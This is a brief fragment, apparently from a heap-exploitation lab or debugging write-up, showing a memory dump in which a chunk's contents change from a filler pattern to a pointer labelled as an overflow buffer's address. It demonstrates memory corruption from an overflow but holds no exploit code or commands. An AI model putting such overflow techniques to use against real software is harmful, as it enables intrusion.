0x405330: 0x00007ffff7e2b770  0x00007ffff7e2b770  ← CHANGED!
0x405340: 0x00007ffff7e2b770  0x00007ffff7e2b870  ← CHANGED!

SUM FACTZ

  1. Before: Chunk filled with 0x1122334455667788
  2. After: Chunk filled with 0x00007ffff7e2b770 (overflow_buf address)